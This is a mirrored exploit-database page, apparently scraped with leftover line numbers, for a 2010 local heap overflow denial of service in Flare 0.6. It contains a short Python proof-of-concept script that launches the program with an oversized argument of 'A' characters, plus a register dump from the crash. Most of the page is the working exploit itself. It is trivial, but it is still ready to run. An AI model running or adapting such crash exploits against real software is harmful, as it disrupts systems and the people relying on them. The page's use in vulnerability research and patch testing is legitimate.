Flare 0.6 – Local Heap Overflow Denial of Service - 体验盒子

作者： l3D

日期： 2010-03-06

类别：

dos

平台：

multiple

来源：https://www.exploit-db.com/exploits/11644/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

# Exploit Title: Flare <= 0.6 local heap overflow DoS

# Date: 3/7/2010

# Author: l3D

# Software Link: http://www.nowrap.de/download/flare06doswin.zip

# Version: 0.6

# Tested on: Windows 7, Windows XP SP2 and some linux distributions

# Code:

#!/usr/bin/env python

#IRC: irc.nix.co.il<http://irc.nix.co.il>

#Site: xraysecurity.blogspot.com<http://xraysecurity.blogspot.com> <---- Coming soon!

#Registers:

#EAX 003E0000

#ECX 003E1088 ASCII "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."

#EDX 41414141

#EBX 00004141

#ESP 0022FB0C

#EBP 0022FBDC

#ESI 003E1080

#EDI 41414141

#EIP 77195B44 ntdll.77195B44

import os, sys

if len(sys.argv) != 1:

path=sys.argv[1]

else:

path='flare.exe'

if not os.path.exists(path):

print 'Usage: python %s [path to flare.exe]' % sys.argv[0]

exit(-1)

os.execl(path, path, 'A'*0x1000)